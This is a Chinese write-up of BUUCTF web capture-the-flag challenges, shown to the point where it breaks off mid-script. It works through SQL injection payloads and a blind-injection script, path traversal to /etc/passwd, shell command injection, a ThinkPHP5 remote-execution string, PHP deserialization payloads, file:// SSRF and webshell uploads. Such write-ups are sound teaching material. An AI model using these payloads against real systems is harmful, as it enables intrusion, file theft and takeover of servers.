BUUCTF(web:1-50)

文章目录

    • [HCTF 2018]WarmUp
    • [强网杯 2019]随便注 1
    • [SUCTF 2019]EasySQL 1
    • [护网杯 2018]easy_tornado 1
    • [HCTF 2018]admin 1
    • [RoarCTF 2019]Easy Calc
    • [极客大挑战 2019]EasySQL 1
    • [极客大挑战 2019]Havefun 1
    • [SUCTF 2019]CheckIn 1
    • [极客大挑战 2019]Secret File
    • [CISCN2019 华北赛区 Day2 Web1]Hack World
    • [极客大挑战 2019]Knife 1
    • [极客大挑战 2019]PHP 1
    • [网鼎杯 2018]Fakebook
    • [极客大挑战 2019]LoveSQL
    • [极客大挑战 2019]Http
    • [GXYCTF2019]Ping Ping Ping
    • [BJDCTF 2nd]fake google
    • [极客大挑战 2019]BabySQL
    • [ACTF2020 新生赛]Include
    • [极客大挑战 2019]BuyFlag
    • [ZJCTF 2019]NiZhuanSiWei
    • [ACTF2020 新生赛]Exec
    • [De1CTF 2019]SSRF Me
    • [RoarCTF 2019]Easy Java
    • [极客大挑战 2019]Upload
    • [BJDCTF 2nd]old-hack
    • [BUUCTF 2018]Online Tool
    • [BJDCTF2020]Easy MD5
    • [0CTF 2016]piapiapia
    • [ACTF2020 新生赛]Upload
    • [SUCTF 2019]Pythonginx
    • [GXYCTF2019]禁止套娃
    • [GXYCTF2019]BabySQli
    • [安洵杯 2019]easy_web
    • [ASIS 2019]Unicorn shop
    • [极客大挑战 2019]HardSQL
    • [CISCN2019 华北赛区 Day1 Web1]Dropbox

[HCTF 2018]WarmUp

打开网页发现是一个滑稽,查看源代码:
BUUCTF(web:1-50)_第1张图片
访问这个网页:
BUUCTF(web:1-50)_第2张图片

分析代码:
1.首先可以看到它定义了一个类,类里面有个checkFile函数
2.然后有一个判断条件要求我们传入的file参数不为空,并且是字符串,然后可以通过checkFile的验证
3.如果满足的话就包含我们传入的参数

checkFile函数:
首先设置了一个白名单数组:
有两个元素source.php和hint.php
第一个if:
判断传入参数是否为空或者是否为字符串,如果是的话则返回 you cant see it
第二个if:
判断我们传入的参数是否在白名单内,如果在则return true
第三个if:
在这个if之前使用了strpos查找“?”第一次出现的位置,然后返回这个位置,然后使用了substr截取字符串,从0到strpos查找的位置的长度。将其存储到$_page中
然后判断$_page是否在白名单内,在的话就返回true,就是这个地方我们可以利用

payload:

hint.php?file://../../../../../etc/passwd可以读取到passwd文件

BUUCTF(web:1-50)_第3张图片

查看flag:

file=hint.php?file://../../../../../ffffllllaaaagggg

BUUCTF(web:1-50)_第4张图片

[强网杯 2019]随便注 1

一打开这个网页就发现老sql注入了:
1.输入1’ 报错,根据回显信息判断注入点包裹在一对单引号中,同时考虑到这里能够报错,那么报错注入就是一种可能BUUCTF(web:1-50)_第5张图片
2.输入1’ or 1–+ 返回多列说明存在注入点
BUUCTF(web:1-50)_第6张图片
3.尝试联合注入找字段输入1’ union select 1,2,3–+,发现返回了一个正则表达式:
在这里插入图片描述
可以看到过滤了很多,包括select,而且/i表示不区分大小写匹配

因此这里不能够使用双写或者大小写绕过,而且这里是对我们输入的字符串进行匹配,所以各种注释的方法也是不能绕过的,报错注入也只能查看数据库。

那么尝试一下编码绕过,或者字符拼接:
尝试了url编码发现无法绕过:%55nion(%53elect)
concat也不行:
在这里插入图片描述
绕个蛋,不绕了,累了

换一种思路,不让用select那就用堆叠注入试一试:
1’;show tables;
BUUCTF(web:1-50)_第7张图片
有两个表:
查看word表的内容:
1’;show columns from words;–+
BUUCTF(web:1-50)_第8张图片
感觉不在这个里面

查看另外一个表:
1’;show columns from `1919810931114514`;
BUUCTF(web:1-50)_第9张图片
有个flag字段,那么怎么取出数据?

尝试了这里的高级绕过方法,发现不行
看了一下网上的wp,发现可以使用预处理语句来解决这个问题:

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义的SQL语句

payload:

1';PREPARE test from concat('se','lect', ' * from `1919810931114514` ');EXECUTE test;--+

或者将’select * from `1919810931114514`进行16进制编码:

1';Set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare test from @a;execute test;#

或者对select进行char编码,然后用concat连接

或者使用handler命令:

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

payload:

1';handler `1919810931114514` open;handler `1919810931114514` read first;--+

[SUCTF 2019]EasySQL 1

又是一道sql注入,测试发现这道题没有报错信息,没有回显
BUUCTF(web:1-50)_第10张图片
输入1" 倒是有回显但是作用不大,先上burp fuzz一下看看是什么形式的注入
可以看到是post型的注入:
BUUCTF(web:1-50)_第11张图片
可以看到过滤了and等等很多:
BUUCTF(web:1-50)_第12张图片
尝试使用异或注入:
BUUCTF(web:1-50)_第13张图片
fuck,还过滤了什么。。。。尝试了一下 吧from过滤了
BUUCTF(web:1-50)_第14张图片
这。。。用堆叠注入试试:
在这里插入图片描述
发现可以也,然后查看列名,要用到from,不行啊。。。
查看网上wp发现后台的语法可能是select.POST['参数'] || flag from flag#这尼玛就离谱,这谁猜得到啊
因此可以输入*,1 来显示全部内容:
在这里插入图片描述
第二种方法:

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

也就是使用了这个pipes_as_concat后就将||当成了concat来使用了
BUUCTF(web:1-50)_第15张图片
payload:

1;set sql_mode=pipes_as_concat;select 1

那么执行的语句就应该是:

select 1;set sql_mode=pipes_as_concat;select 1||flag from flag;

[护网杯 2018]easy_tornado 1

在hints中看到了这个东西:
在这里插入图片描述
再加上传入的参数有hash值:
在这里插入图片描述
我猜想可能是用上面的方式生成一个hash值然后传入参数,而上面那种生成hash值的方法存在缺陷(hash长度扩展攻击):
方向错了,长度攻击要求知道cookie_secret的长度

查看网上的wp,发现这是一个模板注入:
这是cookie_secret的所在位置

python的模板注入不是很熟悉,后面统一研究

[HCTF 2018]admin 1

看到这个注入我就想到了sqli-labs中的二次注入,首先尝试注册admin#,发现数据库没有将#给屏蔽掉admin#是一个新的账号,尝试注册admin
(很多空格),发现返回http500,也不行。

那就随便注册一个账号,然后登陆查看源代码发现:
在这里插入图片描述
应该是要我们以admin的身份登陆

随后又在changepass这里看到了这个:
在这里插入图片描述
在routes中发现:
BUUCTF(web:1-50)_第16张图片
BUUCTF(web:1-50)_第17张图片

python有lower函数啊,为什么要自己写?去看了一下这个函数的定义:
BUUCTF(web:1-50)_第18张图片
发现使用这个东西进行lower的,而它又是从这个库导入的:
在这里插入图片描述
这个我去github上看了一下源代码:添加链接描述

发现在这个地方有个断言测试:
BUUCTF(web:1-50)_第19张图片
它测试经过node。。。。这个函数转换后User是否等于user,而且使用u""(代表unicode)编码的,也就是说这个东西执行了一次后就将大写转化为了小写。然后我就真的不知道怎么做了。
查看了wp,发现可以在这个网站去找小字符这个不行
然后注册的时候用ᴬdmin注册,注册时候会执行一次strlower函数 ᴬ->A(这时候数据库中存放的是Admin)
妈的,那个种字符不行的会报服务器内部错误的这里才是可以用的字符,妈的,找了好久
然后登陆:ᴬdmin->Admin
不要妄想直接Admin登陆,因为会被转成admin
BUUCTF(web:1-50)_第20张图片
最后修改密码执行一次lowerA->a(admin),我们就成功修改了admin的密码:
BUUCTF(web:1-50)_第21张图片
得到flag:
BUUCTF(web:1-50)_第22张图片
这个题还有两种解法:添加链接描述
其实这个admin是个弱口令{123};

[RoarCTF 2019]Easy Calc

查看源码:
BUUCTF(web:1-50)_第23张图片
感觉应该是命令执行或者sql注入,尝试访问calc.php,发现了一段代码:
BUUCTF(web:1-50)_第24张图片
可以看到过滤了很多符号,尝试num=phpinfo()发现事情并不简单
在这里插入图片描述
思路断了,去看了网上wp。。。。
http走私的详细解释

我这里采用CL-TE模式:
需要用到的函数
scandir() 函数 返回指定目录中的文件和目录的数组。
base_convert() 函数 在任意进制之间转换数字,返回一个字符串
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。

BUUCTF(web:1-50)_第25张图片
BUUCTF(web:1-50)_第26张图片
CL-TE导致了反向代理服务器404,但是它将我们发的数据转发给了后源服务器,而后源服务器读取我们的请求并将其解析了。

payload:

num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

BUUCTF(web:1-50)_第27张图片
另外一种方法:
BUUCTF(web:1-50)_第28张图片

php字符串解析漏洞:原理及应用

payload:

GET /calc.php?+num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) HTTP/1.1

[极客大挑战 2019]EasySQL 1

可以看到是被一对单引号包裹起来的:
BUUCTF(web:1-50)_第29张图片
尝试万能密码登陆:
BUUCTF(web:1-50)_第30张图片
BUUCTF(web:1-50)_第31张图片
果然是easysql

[极客大挑战 2019]Havefun 1

BUUCTF(web:1-50)_第32张图片
这两道题跟前面的不是一个档次啊。。。

[SUCTF 2019]CheckIn 1

这道题考察了上传文件的漏洞,经过我的测试发现,使用了exif_imagetype()来判断是不是图片,因此我们可以采用生成图片马的方式来绕过,然后上传了用什么办法解析呢?我猜测是文件包含漏洞,发现可以上传.user.ini文件:
BUUCTF(web:1-50)_第33张图片
然后上传我们的一句话木马:
BUUCTF(web:1-50)_第34张图片
发现过滤了 那么换一种方式:
BUUCTF(web:1-50)_第35张图片

蚁剑连接得到flag:
BUUCTF(web:1-50)_第36张图片

[极客大挑战 2019]Secret File

payload:

php://filter/read=convert.base64-encode/resource=flag.php

[CISCN2019 华北赛区 Day2 Web1]Hack World

脚本:

import re
import requests

url = "http://fddb150d-8889-41c6-a58f-0c69837c54d1.node3.buuoj.cn/index.php"
str = ""
for i in range(1,100):
    max = 128
    min = 33
    mid = (max+min)>>1
    while min < max:
        data="1^if(ascii(substr((select(flag)from(flag)),{0},1))>{1},1,0)".format(i,mid)
        s = requests.post(url,data={"id":data})
        if "Error" in s.text:
            min = mid+1
        else:
            max = mid
        mid = (min+max)>>1
    str += chr(mid)
    print(str)
    if "}" in str:
        break

BUUCTF(web:1-50)_第37张图片

[极客大挑战 2019]Knife 1

蚁剑连接得到flag。。。。:
BUUCTF(web:1-50)_第38张图片

[极客大挑战 2019]PHP 1

备份文件,爷写的脑残脚本:

import requests
import re

url = "http://bed8b6da-2447-484d-8bc5-cc6c97d69f14.node3.buuoj.cn/"
list1=['tar','tar.gz','zip','rar']
list2=['web','website','backup','back','www','wwwroot','temp']
for i in list2:
    for j in list1:
        res = requests.get(url+i+'.'+j)
        test = re.findall(r'Not Found',res.text)
        if len(test)==0:
            print(url+i+'.'+j)

BUUCTF(web:1-50)_第39张图片
结果这个不是flag:
查看源代码发现是一个反序列化漏洞:
class.php
BUUCTF(web:1-50)_第40张图片
index.php
BUUCTF(web:1-50)_第41张图片
分析:
1.由index.php可以看到,要求我们用get方法传入一个值(select),然后对这个值进行反序列化的处理
2.由class.php可以看到,定义了一个name类,变量username和passwod都是私有变量,有一个构造函数,一个析构函数和一个wakeup函数
3.构造函数是将传入的username,password赋值给私有变量username和password
4.wakeup是将username复制为guest
5.析构函数则是判断password是否等于100,username是否为admin

解题方法:
wakeup函数是在反序列化的时候会自动调用的,也就是说我们传入了序列化的字符串之后,username会被赋值成guest(因此需要绕过这里)(绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。)

BUUCTF(web:1-50)_第42张图片
运行一下序列化方法:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

1.O代表object 也就是对象
2.s代表string 也就是字符串
3.i代表整数
4.在php中(类的变量成员叫做“属性”,或者叫“字段”、“特征”,在本文档统一称为“属性”。)
5.Name后面的数字2代表有两个成员变量,也就是username和passwod,而我们通过将其改为3就可以绕过wakeup函数

select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

修改值后我们使用python提交看看:
BUUCTF(web:1-50)_第43张图片
发现他返回了这个东西,也就是说我们没有修改到username和password,原因是:
username与password都是private的,而php对私有成员变量进行序列化的时候会在类名以及成员名前面加上/0,而/0是不可见字符,我们直接复制的话就会丢失这个数据:
BUUCTF(web:1-50)_第44张图片
可以看到这里的长度为14,但只有12个字符,这是因为两个/0没有显示出来,因此我们后期传入参数的时候就要加上这两个字符

select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

BUUCTF(web:1-50)_第45张图片
得到了flag
这里是对于序列化的详细说明

这里是反序列化漏洞的详解

[网鼎杯 2018]Fakebook

注册一个账号,然后发现有数字型的sql注入:

http://96ede642-02a9-46c6-aa4f-a05092fc9738.node3.buuoj.cn/view.php?no=1%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),%27~%27),1)

在这里插入图片描述
看看password:

http://96ede642-02a9-46c6-aa4f-a05092fc9738.node3.buuoj.cn/view.php?no=1%20and%20updatexml(1,concat(%27~%27,mid((select%20passwd%20from%20users),1),%27~%27),1)

在这里插入图片描述
发现没啥东西

看看data:
发现了个序列化的对象
在这里插入图片描述
在这里插入图片描述
这不就是我创建的账号吗

O:8:"UserInfo":3:{s:4:"name";s:6:"admin#";s:3:"age";i:123;s:4:"blog";s:12:"www.test.com";}
O:8:"UserInfo":3:{s:4:"name";s:6:"admin#";s:3:"age";i:123;s:4:"blog";s:12:"www.test.com";}

估计跟反序列化有关,没有思路,看网友的wp说robots.txt源代码泄露了。。
然后我用dirbuster扫了一下
BUUCTF(web:1-50)_第46张图片

果然有,访问看看:
BUUCTF(web:1-50)_第47张图片
有备份文件,下载看看:
看到这个地方我就觉得是ssrf:
BUUCTF(web:1-50)_第48张图片
并且这个ssrf并没有限定协议的格式,也就是说我们可以用file://来读取文件
,而结合之前的报错:
在这里插入图片描述
猜测flag.php的路径为:/var/www/html/flag.php

payload:

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";} //这个地方不能用我们之前创建的账户,要自己伪造一个

查看源代码:
在这里插入图片描述
得到flag:
BUUCTF(web:1-50)_第49张图片

[极客大挑战 2019]LoveSQL

BUUCTF(web:1-50)_第50张图片
发现有报错,尝试报错注入:
BUUCTF(web:1-50)_第51张图片
查看lovelysql:
pyload:

http://f2364bc4-de72-43ab-9fb3-f08a44df610e.node3.buuoj.cn/check.php?username=admin' and updatexml(1,concat(0x7e,(select group_concat(id,0x23,username,0x23,password) from l0ve1ysq1),0x7e),1)%23&password=41b90423070a331a2af2ef00bec92c84

BUUCTF(web:1-50)_第52张图片
尝试使用cl4y登陆:登不上去。。。

尼玛buuctf的主机崩了。。。。
因为报错注入的回显太短了,因此使用联合注入获取flag:

http://4c49c420-026e-4b0c-a770-e57f8e8323b5.node3.buuoj.cn/check.php?username=%27%20union%20select%201,(select%20group_concat(password)%20from%20l0ve1ysq1),3%23&password=41b90423070a331a2af2ef00bec92c84

BUUCTF(web:1-50)_第53张图片

[极客大挑战 2019]Http

查看源代码:
BUUCTF(web:1-50)_第54张图片
访问:
BUUCTF(web:1-50)_第55张图片
添加referer:
BUUCTF(web:1-50)_第56张图片
修改UA:
BUUCTF(web:1-50)_第57张图片
修改x-forwarded-for:
BUUCTF(web:1-50)_第58张图片
得到了flag

在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

这是一道rec:
经过测试发现过滤了空格,flag等等:
使用:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等,绕过空格打印出index.php中的内容
BUUCTF(web:1-50)_第59张图片
发现确实过滤了很多东西:
1.空格可以用$IFS$9来代替
2.flag.php可以使用base64加密再打印出来
3.可以使用xargs命令来执行我们打印出来的内容
4.使用|(管道符号进行命令输出的传递)

payload:

ip=127.0.0.1;echo$IFS$9ZmxhZy5waHA=$IFS$9|$IFS$9base64$IFS$9-d|xargs$IFS$9cat|base64;

得到flag:
BUUCTF(web:1-50)_第60张图片

[BJDCTF 2nd]fake google

这个题也是python模板注入,后面研究

[极客大挑战 2019]BabySQL

极客大挑战的题还是比较简单的,这个题采用了str.replace的方式将我们传入参数中的一些关键字过滤了,因此我们可以使用双写来绕过:

username=%27%20ununionion%20selselectect%201,database(),3%23&password=admin

BUUCTF(web:1-50)_第61张图片
过滤了的字符有:
1.select
2.or
3.from
4.union
剩下的找flag我就不写了

[ACTF2020 新生赛]Include

文件包含漏洞:
payload:

php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

[极客大挑战 2019]BuyFlag

查看源代码:
在这里插入图片描述
访问,查看源代码:
BUUCTF(web:1-50)_第62张图片
要我们post一个password,一个money,然后password要等于404并且password不为数字,而这里采用的是==的方式而不是===,因此可以绕过,然后看到:
BUUCTF(web:1-50)_第63张图片

也就是说我们要传入一个money=100000000,然后要是cuit的学生,使用burp抓包有:
BUUCTF(web:1-50)_第64张图片
将user=0改成1,并传入password和money看看:
BUUCTF(web:1-50)_第65张图片
发现说我们的数字太长了。。。推测应该是用strcmp来对比的,使用数组绕过该判断:
BUUCTF(web:1-50)_第66张图片
得到flag

[ZJCTF 2019]NiZhuanSiWei

打开网页:
这个题是
分析:
1.让我们用get传入三个参数text,file,password
2.要求用file_get_contents()方式读取text的内容,并判断该内容是否等于“welcome to the zjctf”
3.对file的参数进行正则匹配,如果其中有flag的字符串则输出 not now,并退出
4.否则对file的参数进行文件包含,然后对passwod进行反序列化操作并打印

解题步骤:
1.对于text要用file_get_contents()读取,我们可以使用php://input来传入数据
2.对于正则表达式我们先看看useless.php的内容,然后尝试一下Flag.php看是否能够读取到(因为他这里没有对大小写进行过滤)

payload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&password=1

BUUCTF(web:1-50)_第67张图片
然后对其解码发现:

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

然后我们传入flag.php进行序列化:
BUUCTF(web:1-50)_第68张图片
完整的payload:

?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag:
BUUCTF(web:1-50)_第69张图片

[ACTF2020 新生赛]Exec

这个题是一个简单的没有过滤的rec:
payload:

127.0.0.1;cd ../../../../../;ls;cat flag;

BUUCTF(web:1-50)_第70张图片

[De1CTF 2019]SSRF Me

整理代码有:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp #输出结果
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign():
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')#根目录路由,就是显示源代码得地方
def index():
    return open("code.txt","r").read()


def scan(param):#这是用来扫目录得函数
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

    
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

[RoarCTF 2019]Easy Java

打开网页,登陆无果,点击help:
在这里插入图片描述
感觉是文件包含:
在这里插入图片描述
但是该成任何的其他文件名都没有反应,查看网上的wp发现要修改请求方式:
修改请求方式为post,发现有返回了,是一堆乱码:
BUUCTF(web:1-50)_第71张图片
修改为flag发现报错了:
这是一个tomcat服务器:
BUUCTF(web:1-50)_第72张图片
根据这个爆出的路径我们可以猜测有WEB-INF/web.xml这个配置文件:
修改filename为WEB-INF/web.xml:
发现有一个flag controller:
BUUCTF(web:1-50)_第73张图片
熟悉tomcat的话可以知道在WEB-INF下有个classes文件夹用于存放一些xml文件、prepertise文件,以及class文件等等
类似于这种:
BUUCTF(web:1-50)_第74张图片
然后由上面的web.xml文件我们可以看到有servlet-class,而flag controller:放在了com.wm.ctf下面
于构造出FlagController的路径:
WEB-INF/classes/com/wm/ctf/FlagController.class

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
转载于:https://blog.csdn.net/ChenZIDu/article/details/103533554

发现有一段base64加密的东西:
BUUCTF(web:1-50)_第75张图片
得到flag:
BUUCTF(web:1-50)_第76张图片

[极客大挑战 2019]Upload

打开网页:
]
可以看到要我们上传一个图片文件,我们上传一个php文件看看:
BUUCTF(web:1-50)_第77张图片
发现被检测出来了,尝试一下使用php3,php5,phpt,phtml,发现phtml可以绕过:
在这里插入图片描述
检测出来我们的文件包含了来绕过:


发现又提示我们上传的不是图片:
BUUCTF(web:1-50)_第78张图片
尝试加上图片头:

GIF89a

成功上传,蚁剑连接得到flag:
BUUCTF(web:1-50)_第79张图片
BUUCTF(web:1-50)_第80张图片
看到这个题的源代码:








check






    















0){ echo "ERROR!!!"; } elseif (in_array($extension, $allowedExts)) { echo "NOT!".$extension."!"; } elseif (mb_strpos(file_get_contents($file["tmp_name"]), ""; } } else { echo "Not image!"; } ?>

Syclover @ cl4y

感觉这个题可以上传.htaccess文件和.user.ini文件,但是经过我的尝试发现并不能解析,可能是加了GIF89a的原因吗?还是说没有开放对这两个文件的支持.
然后我在apche.conf中发现禁止了我们访问:
BUUCTF(web:1-50)_第81张图片
而在这里在 AllowOverride 设置为 None 时, .htaccess 文件将被完全忽略。
BUUCTF(web:1-50)_第82张图片
因此我们上传的.user.ini和.htaccess文件都是无效的

[BJDCTF 2nd]old-hack

BUUCTF(web:1-50)_第83张图片
告诉我们是thinkphp5写的,去网上查找到了thinkphp5的漏洞5.x漏洞及利用

然后使用报错查看到了thinkphp的版本:
BUUCTF(web:1-50)_第84张图片
发现是存在远程命令执行的漏洞的:添加链接描述

然后我们构造payload:

http://fdfa9da0-c1ef-4fb3-9607-a1e3394ad416.node3.buuoj.cn/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cd ../../../../../;ls;cat flag;

BUUCTF(web:1-50)_第85张图片
得到了flag

尝试一下写入一句话木马。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > test.php

蚁剑连接成功:
BUUCTF(web:1-50)_第86张图片

[BUUCTF 2018]Online Tool

打开网页:
BUUCTF(web:1-50)_第87张图片
分析:
1.第一个if判断是否有 x-forwarded-for头,如果有的话就将其赋值给REMOTE_ADDR
2.第二个if判断是否传入了host的参数,如果没有就高亮显示源代码
3.否则用escapeshellarg对host进行转义
4.再用escapeshellcmd对host进行转义

问题就出在这两个转义这里:
BUUCTF(web:1-50)_第88张图片
1.可以看到arg对于未成对的单引号会进行转义,然后再用一堆单引号将转义后的单引号包裹起来,然后再在转义的字符串上加上一对单引号
2.cmd则在1的基础上再对特殊字符进行转义
在这里插入图片描述
而在这个函数会数单引号是否成对,成对则不转义,因此只转义了最后一个单引号,同时将\转义了.

尝试写入一句话:
1.如果我们没有用单引号包裹我们的paylaod:
BUUCTF(web:1-50)_第89张图片
可以看到最终要执行的语句那里将我们的payload给用单引号括起来了

2.使用单引号包裹我们的语句:
BUUCTF(web:1-50)_第90张图片
可以看到我们的语句逃逸出来了但是这个时候还不能直接运行,因为我们的文件名实际上是test.php\\,而我们要的是test.php

3.因此我们要在后面的单引号前加上空格:

?host=' -oG 2.php '

蚁剑成功连接,可以看到确实如果没有加上空格,文件名是php//
BUUCTF(web:1-50)_第91张图片
找到flag:
在这里插入图片描述

[BJDCTF2020]Easy MD5

打开网页:
BUUCTF(web:1-50)_第92张图片
让我们提交密码,看样子应该是万能密码登陆,但是看这个名字又叫easy MD5,始终找不到跟MD5有啥关系。。。看了网上的wp才知道。。。。

用burp抓包:

BUUCTF(web:1-50)_第93张图片
这个md5($pass,true)的raw参数为true,那么MD5函数就会返回十六进制的编码

而我们知道mysql是支持解析16进制的,因此我们可以通过这个来构造万能密码:
比如这个"ffifdyop":经过md5后变成了:276f722736c95d99e921722cf9ed621c
而这个经过十六进制的还原变成了:
'or’6É]™é!r,ùíb
可以看到它是包含了or 6的也就可以当作万能密码来使用

提交之后出现了:
BUUCTF(web:1-50)_第94张图片
查看源代码:
BUUCTF(web:1-50)_第95张图片
a[]=1&b[]=2
使用数组绕过,跳转到了这里:
在这里插入图片描述
还是使用数组绕过:
BUUCTF(web:1-50)_第96张图片
param1[]=1¶m2[]=2

[0CTF 2016]piapiapia

打开网页,burp抓包发现,输入不同的语句会有不同的返回值:

输入错误的账户名:
BUUCTF(web:1-50)_第97张图片
输入错误的密码:
BUUCTF(web:1-50)_第98张图片
尝试爆破,发现跑不出来。。。。。用dirseach扫描目录,发现有备份文件:
BUUCTF(web:1-50)_第99张图片

[ACTF2020 新生赛]Upload

这道题就是js前端过滤加上黑名单过滤:
绕过方法:
上传一句话木马图片,burp抓包,修改文件后缀为.phtml即可上传成功。

[SUCTF 2019]Pythonginx

查看源代码可以看到:
BUUCTF(web:1-50)_第100张图片
有三个if函数,判断条件都是host为suctf.cc,并且前两个if表示如果出现了suctf.cc就要退出,因此我们要绕过前两个if。

看了网上的wp:
发现可以利用CVE-2019-9636这个漏洞:

urlparse.urlparse(urlstring[, scheme[,allow_fragments]])

      将urlstring解析成6个部分,它从urlstring中取得URL,并返回元组 (scheme, netloc, path, parameters, query, fragment),但是实际上是基于namedtuple,是tuple的子类。它支持通过名字属性或者索引访问的部分URL,每个组件是一串字符,也有可能是空的。组件不能被解析为更小的部分,%后面的也不会被解析,分割符号并不是解析结果的一部分,除非用斜线转义,注意,返回的这个元组非常有用,例如可以用来确定网络协议(HTTP、FTP等等 )、服务器地址、文件路径,等等。

>>> import urlparse
>>> parsed_tuple = urlparse.urlparse("http://www.google.com/search?hl=en&q=urlparse&btnG=Google+Search")
>>> print parsed_tuple
ParseResult(scheme='http', netloc='www.google.com', path='/search', params='', query='hl=en&q=urlparse&btnG=Google+Search', fragment='')

可以看到这个函数会将一个完整的url分成6段:

将urlstring解析成6个部分,它从urlstring中取得URL,并返回元组 (scheme, netloc, path, parameters, query, fragment),但是实际上是基于namedtuple,是tuple的子类。
它支持通过名字属性或者索引访问的部分URL,每个组件是一串字符,**也有可能是空的**。
组件不能被解析为更小的部分,%后面的也不会被解析,**分割符号**并不是解析结果的一部分,除非用斜线转义。
注意,返回的这个元组非常有用,例如可以用来确定网络协议(HTTP、FTP等等 )、服务器地址、文件路径,等等。

urlsplit函数则会:
返回一个包含5个字符串项目的元组:协议、位置、路径、查询、片段。
它不切分URL的参数,所有返回的只有5个长度
urlunsplit函数则会:
urlunsplit使用urlsplit()返回的值组合成一个url

可以看到它基本的逻辑就是这样:
BUUCTF(web:1-50)_第101张图片
尝试输入file://suctf.cc/…/…/…/…/…/etc/passwd:
BUUCTF(web:1-50)_第102张图片
可以看到前两个if都分离出了suctf.cc

那么我们尝试输入file:suctf.cc/…/…/…/…/…/etc/passwd:
BUUCTF(web:1-50)_第103张图片
可以看到绕过了前两个函数,但是第三个函数没有进入,这是因为urlunsplit处理的时候会给我们的url自动加上///
而这时候再使用parse.urlparse(url)就会出现这样的结果:
scheme:file
hostname:空的
path:/suctf.cc/…/…/…/…/etc/passwd

没有hostname我们就无法进入第三个if

尝试输入file:////suctf.cc/…/…/…/…/etc/passwd:
BUUCTF(web:1-50)_第104张图片
可以看到完美绕过了,同时又进入了第三个if

这个还可以用unicode来绕过:
这里是blackhat关于这个的议题
大佬写的脚本,用于找到可以绕过的unicode:

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
